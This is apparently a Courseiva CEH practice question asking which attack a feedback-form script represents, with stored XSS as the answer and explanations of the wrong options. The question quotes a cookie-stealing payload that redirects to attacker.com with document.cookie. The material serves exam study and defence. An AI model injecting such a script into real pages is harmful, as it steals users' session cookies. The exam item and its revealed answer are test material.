CEH Web Application and Injection Attacks Practice Question
A security analyst observes that a web application allows users to submit feedback, and after submission, the feedback is displayed on a public page. An attacker submits feedback containing the script: <script>document.location='http://attacker.com/?c='+document.cookie</script>. When an admin views the public page, the script executes. Which type of attack occurred?
Answer choices
Why each option matters
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Stored XSS
The script is stored on the server (feedback) and executed when the admin views the page. This is persistent (stored) XSS.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
- ✗
Reflected XSS
Why it's wrong here
Reflected XSS occurs when a malicious script, typically injected into a URL parameter or form input, is immediately echoed back by the web server in its response to the user's browser. This type of XSS is non-persistent, meaning the payload is not stored on the server but rather delivered directly to the victim via a specially crafted link. The attack relies on tricking a user into clicking a malicious URL that contains the XSS payload, which then executes in their browser within the context of the legitimate website.
- ✗
Cross-site request forgery (CSRF)
Why it's wrong here
Cross-site request forgery (CSRF) is an attack that tricks an authenticated user into submitting an unintended request to a web application. Unlike XSS, CSRF does not involve injecting malicious scripts into the website itself; instead, it exploits the trust a web application has in a user's browser. The attacker crafts a malicious web page that, when visited by the victim, forces their browser to send a request to another site where the user is authenticated, potentially performing actions like changing passwords or transferring funds without their explicit consent.
- ✗
DOM-based XSS
Why it's wrong here
DOM-based XSS arises when a client-side script processes data from an untrusted source, such as the URL fragment or document.referrer, and writes it into the Document Object Model (DOM) without proper sanitization. The vulnerability exists entirely within the client-side code, meaning the malicious payload is never sent to the server or stored in the database. Instead, the attack relies on the victim's browser executing client-side JavaScript that dynamically modifies the page's DOM, leading to script execution in the user's context.
- ✓
Stored XSS
Why this is correct
Stored XSS, also known as persistent XSS, occurs when a malicious script is permanently saved on the target server, typically within a database, comment section, or user profile. When a victim's browser requests the page containing this stored payload, the server retrieves the malicious script and delivers it as part of the legitimate web page content. Consequently, the victim's browser executes the script, allowing the attacker to steal cookies, deface the website, or redirect users, making it a highly impactful and widespread attack.
Go deeper
Related to this question
About these practice questions
One of 870 original CEH practice questions on Courseiva, each with a full explanation and wrong-answer analysis — not exam dumps or protected exam content. Learn why practice questions differ from exam dumps →
JA
Written by Johnson Ajibi, MSc IT Security
Senior Network & Security Engineer · founder of Courseiva
This CEH practice question is part of Courseiva's free EC-Council certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the CEH exam.